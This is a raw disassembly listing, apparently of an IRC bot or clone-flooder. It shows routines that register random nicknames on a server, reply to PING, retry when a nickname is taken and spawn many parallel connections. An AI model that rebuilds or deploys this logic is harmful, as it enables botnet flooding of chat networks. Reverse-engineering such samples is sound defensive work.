		pop	ecx
		jnz	short loc_4177F4
		mov	esi, [ebp+var_1C]
		xor	edi, edi
		cmp	[ebp+var_20], edi
		jnz	short loc_41781C
		cmp	esi, edi
		jnz	short loc_41781C
		push	1
		pop	eax
		jmp	loc_4178B5
; ---------------------------------------------------------------------------


loc_41781C:				; CODE XREF: sub_4177CF+3Fj
					; sub_4177CF+43j
		push	[ebp+var_20]
		push	offset aPing	; "PING"
		call	sub_41C070
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jnz	short loc_417837
		push	offset dword_4387BC
		jmp	short loc_417885
; ---------------------------------------------------------------------------


loc_417837:				; CODE XREF: sub_4177CF+5Fj
		push	offset a433	; "433"
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_417858
		push	esi
		push	offset dword_4387B8
		call	sub_41C070
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4178B3


loc_417858:				; CODE XREF: sub_4177CF+76j
		push	200h
		lea	eax, [ebp+var_420]
		push	edi
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_420]
		push	eax
		call	sub_417ADD
		add	esp, 10h
		lea	eax, [ebp+var_420]
		push	eax
		push	offset dword_4387AC


loc_417885:				; CODE XREF: sub_4177CF+66j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		add	esp, 0Ch
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_220]
		push	eax
		push	[ebp+arg_4]
		call	dword_4CAFC4


loc_4178B3:				; CODE XREF: sub_4177CF+87j
		xor	eax, eax


loc_4178B5:				; CODE XREF: sub_4177CF+48j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4177CF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4178BA	proc near		; DATA XREF: sub_417A5F+61o

var_4008	= byte ptr -4008h
var_3008	= byte ptr -3008h
var_2008	= byte ptr -2008h
var_1008	= byte ptr -1008h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 4008h
		call	sub_41BB20
		push	ebx
		push	esi
		mov	esi, [ebp+arg_0]
		push	edi
		imul	esi, 210h
		push	1
		pop	edi
		lea	eax, dword_4D4014[esi]
		mov	dword_4D4008[esi], edi
		push	dword_4D4214[esi]
		push	eax
		call	sub_417702
		pop	ecx
		xor	ebx, ebx
		cmp	eax, edi
		pop	ecx
		mov	dword_4D400C[esi], eax
		jb	loc_417A3F
		mov	edi, 1000h
		lea	eax, [ebp+var_2008]
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_4008]
		push	eax
		call	sub_417ADD
		lea	eax, [ebp+var_3008]
		push	eax
		call	sub_417ADD
		add	esp, 18h
		lea	eax, [ebp+var_3008]
		push	eax
		lea	eax, [ebp+var_4008]
		push	eax
		lea	eax, [ebp+var_2008]
		push	eax
		lea	eax, [ebp+var_1008]
		push	offset aNickSUserSHotm ; "NICK %s\nUSER	%s \"hotmail.com\" \"127.0.0."...
		push	eax
		call	sub_41B886
		add	esp, 14h
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_1008]
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAFC4
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch


loc_417996:				; CODE XREF: sub_4178BA+111j
					; sub_4178BA+180j
		push	edi
		lea	eax, [ebp+var_1008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_1008]
		push	ebx
		push	edi
		push	eax
		push	dword_4D400C[esi]
		call	dword_4CAF8C
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jle	short loc_417A3F
		xor	eax, eax
		cmp	[ebp+var_8], ebx
		mov	[ebp+var_4], eax
		jz	short loc_417996


loc_4179CD:				; CODE XREF: sub_4178BA+17Ej
		mov	al, [ebp+eax+var_1008]
		cmp	al, 0Dh
		jz	short loc_4179F4
		cmp	al, 0Ah
		jz	short loc_4179F4
		cmp	[ebp+arg_0], 0FA0h
		jz	short loc_4179F4
		mov	ecx, [ebp+arg_0]
		inc	[ebp+arg_0]
		mov	[ebp+ecx+var_2008], al
		jmp	short loc_417A2E
; ---------------------------------------------------------------------------


loc_4179F4:				; CODE XREF: sub_4178BA+11Cj
					; sub_4178BA+120j ...
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_417A2E
		push	dword_4D400C[esi]
		mov	[ebp+eax+var_2008], bl
		lea	eax, [ebp+var_2008]
		push	eax
		call	sub_4177CF
		pop	ecx
		test	eax, eax
		pop	ecx
		ja	short loc_417A3F
		push	edi
		lea	eax, [ebp+var_2008]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+arg_0], ebx


loc_417A2E:				; CODE XREF: sub_4178BA+138j
					; sub_4178BA+13Fj
		mov	eax, [ebp+var_4]
		inc	eax
		cmp	eax, [ebp+var_8]
		mov	[ebp+var_4], eax
		jnz	short loc_4179CD
		jmp	loc_417996
; ---------------------------------------------------------------------------


loc_417A3F:				; CODE XREF: sub_4178BA+40j
					; sub_4178BA+107j ...
		mov	dword_4D4008[esi], ebx
		mov	esi, dword_4D400C[esi]
		cmp	esi, ebx
		jbe	short loc_417A56
		push	esi
		call	dword_4CB00C


loc_417A56:				; CODE XREF: sub_4178BA+193j
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn	4
sub_4178BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417A5F	proc near		; CODE XREF: sub_401ACD+31E1p

var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		xor	ebx, ebx
		cmp	[ebp+arg_8], ebx
		push	esi
		push	edi
		mov	[ebp+var_4], ebx
		jle	short loc_417AD8


loc_417A71:				; CODE XREF: sub_417A5F+77j
		xor	edi, edi
		mov	eax, offset dword_4D4008


loc_417A78:				; CODE XREF: sub_417A5F+28j
		cmp	[eax], ebx
		jz	short loc_417A89
		add	eax, 210h
		inc	edi
		cmp	eax, offset dword_4DA728
		jl	short loc_417A78


loc_417A89:				; CODE XREF: sub_417A5F+1Bj
		cmp	edi, 31h
		jz	short loc_417AD8
		mov	esi, edi
		push	[ebp+arg_0]
		imul	esi, 210h
		lea	eax, dword_4D4014[esi]
		push	eax
		call	sub_41BEB0
		mov	eax, [ebp+arg_4]
		pop	ecx
		mov	dword_4D4214[esi], eax
		pop	ecx
		lea	eax, [ebp+var_8]
		mov	dword_4D4008[esi], 1
		push	eax
		push	ebx
		push	edi
		push	offset sub_4178BA
		push	ebx
		push	ebx
		nop
		call	near ptr 2670000h
		inc	[ebp+var_4]
		mov	eax, [ebp+var_4]
		cmp	eax, [ebp+arg_8]
		jl	short loc_417A71


loc_417AD8:				; CODE XREF: sub_417A5F+10j
					; sub_417A5F+2Dj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417A5F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417ADD	proc near		; CODE XREF: sub_401ACD+374Dp
					; sub_401ACD+3793p ...

var_40		= byte ptr -40h
var_2D		= byte ptr -2Dh
var_2C		= byte ptr -2Ch
var_2B		= byte ptr -2Bh
var_18		= qword	ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 40h
		push	14h
		lea	eax, [ebp+var_2C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		call	sub_41B8E2
		mov	[ebp+var_C], eax
		fild	[ebp+var_C]
		fmul	dbl_4276F8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417B27
		call	sub_41B8E2
		call	sub_41B8E2
		push	66h
		cdq
		pop	ecx
		idiv	ecx
		push	off_437EF8[edx*4]
		jmp	short loc_417B40
; ---------------------------------------------------------------------------


loc_417B27:				; CODE XREF: sub_417ADD+2Fj
		call	sub_41B8E2
		call	sub_41B8E2
		cdq
		mov	ecx, 0C0h
		idiv	ecx
		push	off_437BF8[edx*4]


loc_417B40:				; CODE XREF: sub_417ADD+48j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41BEB0
		pop	ecx
		lea	eax, [ebp+var_2C]
		pop	ecx
		push	ebx
		push	esi
		push	edi
		push	eax
		call	sub_41AFE0
		pop	ecx
		mov	esi, eax
		push	13h
		mov	[ebp+var_4], esi
		pop	eax
		sub	eax, esi
		mov	[ebp+var_C], eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		call	sub_41C798
		mov	ebx, eax
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 2
		mov	edi, offset a__0 ; "-|`_\\{[]}"
		jle	short loc_417BB3
		cmp	esi, 3
		jnz	short loc_417BAA
		cmp	ebx, 1
		jz	short loc_417BB3


loc_417BAA:				; CODE XREF: sub_417ADD+C6j
		cmp	eax, 1
		jnz	loc_417C6D


loc_417BB3:				; CODE XREF: sub_417ADD+C1j
					; sub_417ADD+CBj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276E0
		call	sub_41C798
		push	off_437EF8[eax*4]
		lea	eax, [ebp+var_40]
		push	eax
		call	sub_41BEB0
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		push	edi
		call	sub_41BFB0
		add	esp, 10h
		test	eax, eax
		jnz	short loc_417C5A
		movsx	eax, [ebp+var_40]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_417C5A
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		dec	esi
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], esi
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417C5A
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-8]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-8]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al


loc_417C5A:				; CODE XREF: sub_417ADD+111j
					; sub_417ADD+122j ...
		push	[ebp+var_C]
		lea	eax, [ebp+var_40]
		push	eax
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41C1E0
		add	esp, 0Ch


loc_417C6D:				; CODE XREF: sub_417ADD+D0j
		lea	eax, [ebp+var_2C]
		push	eax
		call	sub_41AFE0
		mov	esi, eax
		movsx	eax, [ebp+esi+var_2D]
		lea	ebx, [ebp+esi+var_2C]
		push	eax
		mov	[ebp+var_4], esi
		call	sub_41D648
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417ED5
		and	[ebp+var_C], eax
		movsx	eax, byte ptr [ebx-1]
		push	eax
		push	edi
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_417DCC
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		lea	eax, [esi+3]
		fild	dword ptr [ebp+var_18+4]
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417CDB
		cmp	eax, 1
		jnz	loc_417DCC


loc_417CDB:				; CODE XREF: sub_417ADD+1F3j
		push	2
		cdq
		pop	ecx
		idiv	ecx
		cmp	edx, 1
		jnz	short loc_417D1D
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebx], al
		jmp	short loc_417D39
; ---------------------------------------------------------------------------


loc_417D1D:				; CODE XREF: sub_417ADD+207j
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebx], cl


loc_417D39:				; CODE XREF: sub_417ADD+23Ej
		push	1
		inc	esi
		pop	ebx
		mov	[ebp+var_4], esi
		mov	[ebp+var_C], ebx
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D0
		call	sub_41C798
		cmp	esi, 3
		jz	short loc_417D62
		cmp	eax, ebx
		jnz	short loc_417DCC


loc_417D62:				; CODE XREF: sub_417ADD+27Fj
		push	2
		pop	ebx
		cdq
		mov	ecx, ebx
		idiv	ecx
		test	edx, edx
		jnz	short loc_417DA7
		push	edi
		call	sub_41AFE0
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		pop	ecx
		fstp	qword ptr [ebp-10h]
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	qword ptr [ebp-10h]
		fmul	dbl_4276E8
		call	sub_41C798
		mov	al, byte ptr a__0[eax] ; "-|`_\\{[]}"
		mov	[ebp+esi+var_2C], al
		jmp	short loc_417DC5
; ---------------------------------------------------------------------------


loc_417DA7:				; CODE XREF: sub_417ADD+28Fj
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl


loc_417DC5:				; CODE XREF: sub_417ADD+2C8j
		inc	esi
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], esi


loc_417DCC:				; CODE XREF: sub_417ADD+1C9j
					; sub_417ADD+1F8j ...
		cmp	esi, 6
		jge	loc_417E55
		cmp	esi, 5
		jge	short loc_417DED
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276F0
		jmp	short loc_417E0B
; ---------------------------------------------------------------------------


loc_417DED:				; CODE XREF: sub_417ADD+2FBj
		call	sub_41B8E2
		push	8
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		pop	eax
		sub	eax, esi
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmulp	st(1), st
		fmul	dbl_4276E8


loc_417E0B:				; CODE XREF: sub_417ADD+30Ej
		call	sub_41C798
		test	eax, eax
		jnz	short loc_417E2E
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		jmp	short loc_417E4B
; ---------------------------------------------------------------------------


loc_417E2E:				; CODE XREF: sub_417ADD+335j
		cmp	eax, 1
		jnz	short loc_417E55
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276D8
		call	sub_41C798
		mov	cl, 41h


loc_417E4B:				; CODE XREF: sub_417ADD+34Fj
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		inc	esi
		mov	[ebp+var_4], esi


loc_417E55:				; CODE XREF: sub_417ADD+2F2j
					; sub_417ADD+354j
		cmp	[ebp+var_C], 2
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fimul	[ebp+var_4]
		fmul	dbl_4276E8
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2C], cl
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276C0
		call	sub_41C798
		cmp	eax, 1
		jnz	short loc_417ED5
		cmp	[ebp+var_C], eax
		jge	short loc_417ED5
		call	sub_41B8E2
		mov	dword ptr [ebp+var_18+4], eax
		fild	dword ptr [ebp+var_18+4]
		fmul	dbl_4276B8
		call	sub_41C798
		mov	cl, 30h
		sub	cl, al
		mov	[ebp+esi+var_2B], cl


loc_417ED5:				; CODE XREF: sub_417ADD+1B1j
					; sub_417ADD+37Cj ...
		lea	eax, [ebp+var_2C]
		push	14h
		push	eax
		push	[ebp+arg_0]
		call	sub_41B5F0
		mov	eax, [ebp+arg_0]
		add	esp, 0Ch
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_417ADD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417EEE	proc near		; CODE XREF: sub_401ACD+BEBp
					; sub_401ACD+C28p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		xor	esi, esi
		cmp	edi, esi
		jz	short loc_417F79
		mov	eax, [ebp+arg_4]
		cmp	eax, esi
		jz	short loc_417F79
		cmp	[ebp+arg_8], esi
		jz	short loc_417F79
		cmp	byte ptr [eax],	0
		jz	short loc_417F79
		push	ebx
		push	edi
		call	sub_426464
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_417F74
		push	[ebp+arg_4]
		push	edi
		call	sub_41B900
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_417F6D
		sub	eax, edi
		push	eax
		push	edi
		push	ebx
		call	sub_41B5F0
		push	[ebp+arg_8]
		mov	eax, ebx
		sub	eax, edi
		and	byte ptr [eax+esi], 0
		call	sub_41AFE0
		push	eax
		push	[ebp+arg_8]
		push	ebx
		call	sub_41C1E0
		push	[ebp+arg_4]
		call	sub_41AFE0
		add	eax, esi
		push	eax
		push	ebx
		call	sub_41BEC0
		push	ebx
		push	edi
		call	sub_41BEB0
		add	esp, 30h
		mov	esi, edi


loc_417F6D:				; CODE XREF: sub_417EEE+3Cj
		push	ebx
		call	sub_41B0B1
		pop	ecx


loc_417F74:				; CODE XREF: sub_417EEE+2Bj
		mov	eax, esi
		pop	ebx
		jmp	short loc_417F7B
; ---------------------------------------------------------------------------


loc_417F79:				; CODE XREF: sub_417EEE+Cj
					; sub_417EEE+13j ...
		xor	eax, eax


loc_417F7B:				; CODE XREF: sub_417EEE+89j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_417EEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_417F7F	proc near		; CODE XREF: sub_401955+E9p
					; ___:004102F0p

var_7D0		= dword	ptr -7D0h
var_7CC		= byte ptr -7CCh
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7D0h
		push	ebx
		push	esi
		push	7D0h
		lea	eax, [ebp+var_7D0]
		push	0
		push	eax
		call	sub_41B590
		mov	esi, [ebp+arg_0]
		push	esi
		call	sub_41AFE0
		add	esp, 10h
		push	1
		pop	ebx
		cmp	eax, ebx
		jge	short loc_417FB5
		or	eax, 0FFFFFFFFh
		jmp	short loc_418028
; ---------------------------------------------------------------------------


loc_417FB5:				; CODE XREF: sub_417F7F+2Fj
		xor	ecx, ecx
		mov	[ebp+var_7D0], esi
		test	eax, eax
		jle	short loc_417FD7


loc_417FC1:				; CODE XREF: sub_417F7F+56j
		mov	dl, [ecx+esi]
		cmp	dl, 0Ah
		jz	short loc_417FCE
		cmp	dl, 0Dh
		jnz	short loc_417FD2


loc_417FCE:				; CODE XREF: sub_417F7F+48j
		and	byte ptr [ecx+esi], 0


loc_417FD2:				; CODE XREF: sub_417F7F+4Dj
		inc	ecx
		cmp	ecx, eax
		jl	short loc_417FC1


loc_417FD7:				; CODE XREF: sub_417F7F+40j
		xor	edx, edx
		push	edi
		test	eax, eax
		jle	short loc_418008
		lea	edi, [ebp+var_7CC]


loc_417FE4:				; CODE XREF: sub_417F7F+87j
		cmp	byte ptr [edx+esi], 0
		jnz	short loc_418003
		cmp	byte ptr [edx+esi+1], 0
		lea	ecx, [edx+esi+1]
		jz	short loc_418003
		cmp	ebx, 1F4h
		jge	short loc_418008
		mov	[edi], ecx
		inc	ebx
		add	edi, 4


loc_418003:				; CODE XREF: sub_417F7F+69j
					; sub_417F7F+74j
		inc	edx
		cmp	edx, eax
		jl	short loc_417FE4


loc_418008:				; CODE XREF: sub_417F7F+5Dj
					; sub_417F7F+7Cj
		cmp	[ebp+arg_4], 0
		pop	edi
		jz	short loc_418026
		lea	eax, [ebp+var_7D0]
		push	7D0h
		push	eax
		push	[ebp+arg_4]
		call	sub_41C310
		add	esp, 0Ch


loc_418026:				; CODE XREF: sub_417F7F+8Ej
		mov	eax, ebx


loc_418028:				; CODE XREF: sub_417F7F+34j
		pop	esi
		pop	ebx
		leave
		retn
sub_417F7F	endp


; =============== S U B	R O U T	I N E =======================================



sub_41802C	proc near		; CODE XREF: sub_418086+33p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		push	esi
		push	edi
		mov	edi, [esp+8+arg_8]
		mov	ecx, 1F4h
		xor	esi, esi
		rep stosd
		lea	edi, [eax-1]
		test	edi, edi
		jl	short loc_418065
		push	ebx
		mov	ebx, edi


loc_418049:				; CODE XREF: sub_41802C+36j
		mov	eax, [esp+0Ch+arg_0]
		mov	al, [esi+eax]
		push	eax
		call	sub_418068
		pop	ecx
		inc	esi
		mov	ecx, [esp+0Ch+arg_8]
		mov	[ecx+eax*4], ebx
		dec	ebx
		cmp	esi, edi
		jle	short loc_418049
		pop	ebx


loc_418065:				; CODE XREF: sub_41802C+18j
		pop	edi
		pop	esi
		retn
sub_41802C	endp


; =============== S U B	R O U T	I N E =======================================



sub_418068	proc near		; CODE XREF: sub_41802C+25p
					; sub_418086+6Bp

arg_0		= byte ptr  4

		movsx	eax, [esp+arg_0]
		push	eax
		call	sub_41D74C
		cmp	al, 61h
		pop	ecx
		jl	short loc_418083
		cmp	al, 7Ah
		jg	short loc_418083
		movsx	eax, al
		sub	eax, 60h
		retn
; ---------------------------------------------------------------------------


loc_418083:				; CODE XREF: sub_418068+Ej
					; sub_418068+12j
		xor	eax, eax
		retn
sub_418068	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_418086	proc near		; CODE XREF: ___:0041532Dp

var_100C	= dword	ptr -100Ch
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	eax, 100Ch
		call	sub_41BB20
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		push	[ebp+arg_4]
		mov	[ebp+var_4], eax
		call	sub_41AFE0
		mov	esi, eax
		lea	eax, [ebp+var_100C]
		push	eax
		push	esi
		push	[ebp+arg_4]
		mov	[ebp+var_C], esi
		call	sub_41802C
		add	esp, 14h
		dec	esi
		mov	edi, esi


loc_4180C4:				; CODE XREF: sub_418086+B6j
		test	esi, esi
		jle	short loc_418142
		mov	eax, [ebp+arg_4]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	ebx, eax
		mov	eax, [ebp+arg_0]
		movsx	eax, byte ptr [edi+eax]
		push	eax
		call	sub_41D74C
		pop	ecx
		cmp	eax, ebx
		pop	ecx
		jz	short loc_41813A


loc_4180EA:				; CODE XREF: sub_418086+B2j
		mov	ebx, [ebp+arg_0]
		mov	al, [edi+ebx]
		push	eax
		call	sub_418068
		mov	edx, [ebp+var_C]
		mov	eax, [ebp+eax*4+var_100C]
		pop	ecx
		mov	ecx, edx
		sub	ecx, esi
		cmp	ecx, eax
		jle	short loc_41810B
		mov	eax, ecx


loc_41810B:				; CODE XREF: sub_418086+81j
		add	edi, eax
		cmp	edi, [ebp+var_4]
		jge	short loc_41813E
		mov	eax, [ebp+arg_4]
		lea	esi, [edx-1]
		movsx	eax, byte ptr [esi+eax]
		push	eax
		call	sub_41D74C
		mov	edx, eax
		movsx	eax, byte ptr [edi+ebx]
		push	eax
		mov	[ebp+var_8], edx
		call	sub_41D74C
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+var_8]
		cmp	eax, ecx
		jnz	short loc_4180EA


loc_41813A:				; CODE XREF: sub_418086+62j
		dec	edi
		dec	esi
		jmp	short loc_4180C4
; ---------------------------------------------------------------------------


loc_41813E:				; CODE XREF: sub_418086+8Aj
		xor	eax, eax
		jmp	short loc_418147
; ---------------------------------------------------------------------------


loc_418142:				; CODE XREF: sub_418086+40j
		mov	eax, [ebp+arg_0]
		add	eax, edi


loc_418147:				; CODE XREF: sub_418086+BAj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_418086	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41814C	proc near		; CODE XREF: sub_401ACD+67A3p
					; sub_401ACD+789Ep

var_100		= byte ptr -100h
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	esi
		nop
		call	near ptr 26709FBh
		mov	esi, eax
		push	0
		lea	eax, [ebp+var_100]
		push	100h
		push	eax
		push	400h
		push	esi
		push	0
		push	1200h
		nop
		call	near ptr 27C0000h
		lea	eax, [ebp+var_100]


loc_418185:				; CODE XREF: sub_41814C+46j
		mov	cl, [eax]
		cmp	cl, 1Fh
		jg	short loc_418191
		cmp	cl, 9
		jnz	short loc_418194


loc_418191:				; CODE XREF: sub_41814C+3Ej
		inc	eax
		jmp	short loc_418185
; ---------------------------------------------------------------------------


loc_418194:				; CODE XREF: sub_41814C+43j
					; sub_41814C+5Bj ...
		and	byte ptr [eax],	0
		dec	eax
		lea	ecx, [ebp+var_100]
		cmp	eax, ecx
		jb	short loc_4181AE
		mov	cl, [eax]
		cmp	cl, 2Eh
		jz	short loc_418194
		cmp	cl, 21h
		jl	short loc_418194


loc_4181AE:				; CODE XREF: sub_41814C+54j
		lea	eax, [ebp+var_100]
		push	esi
		push	eax
		mov	esi, offset dword_4DA72C
		push	[ebp+arg_0]
		push	offset aSErrorSD_ ; "%s	Error: %s <%d>."
		push	200h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41814C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4181D6	proc near		; CODE XREF: sub_401ACD+24CAp
		push	esi
		push	0
		call	dword_4CAF44
		test	eax, eax
		jz	short loc_41820D
		push	1
		call	dword_4CAF64
		mov	esi, eax
		test	esi, esi
		jz	short loc_41820D
		push	edi
		push	esi
		nop
		call	near ptr 27D06CEh
		push	esi
		mov	edi, eax
		nop
		call	near ptr 27D0000h
		call	dword_4CAFC8
		mov	eax, edi
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41820D:				; CODE XREF: sub_4181D6+Bj
					; sub_4181D6+19j
		xor	eax, eax
		pop	esi
		retn
sub_4181D6	endp


; =============== S U B	R O U T	I N E =======================================



sub_418211	proc near		; CODE XREF: sub_401ACD+7661p

arg_0		= dword	ptr  4

		push	ebp
		push	esi
		push	edi
		xor	esi, esi
		mov	edi, offset aMirc_0 ; "mIRC"
		push	esi
		push	edi
		call	dword_4CAF80
		mov	ebp, eax
		cmp	ebp, esi
		jz	short loc_41828D
		push	ebx
		push	edi
		push	1000h
		push	esi
		push	4
		push	esi
		push	0FFFFFFFFh
		nop
		call	near ptr 27E016Ch
		push	esi
		push	esi
		mov	edi, eax
		push	esi
		push	0F001Fh
		push	edi
		nop
		call	near ptr 27E0000h
		push	[esp+10h+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	esi
		push	1
		push	4C8h
		push	ebp
		call	dword_4CAFD0
		push	esi
		push	1
		push	4C9h
		push	ebp
		call	dword_4CAFD0
		push	ebx
		nop
		call	near ptr 27D0CE3h
		push	edi
		nop
		call	near ptr 26507ADh
		push	1
		pop	eax
		pop	ebx
		jmp	short loc_41828F
; ---------------------------------------------------------------------------


loc_41828D:				; CODE XREF: sub_418211+16j
		xor	eax, eax


loc_41828F:				; CODE XREF: sub_418211+7Aj
		pop	edi
		pop	esi
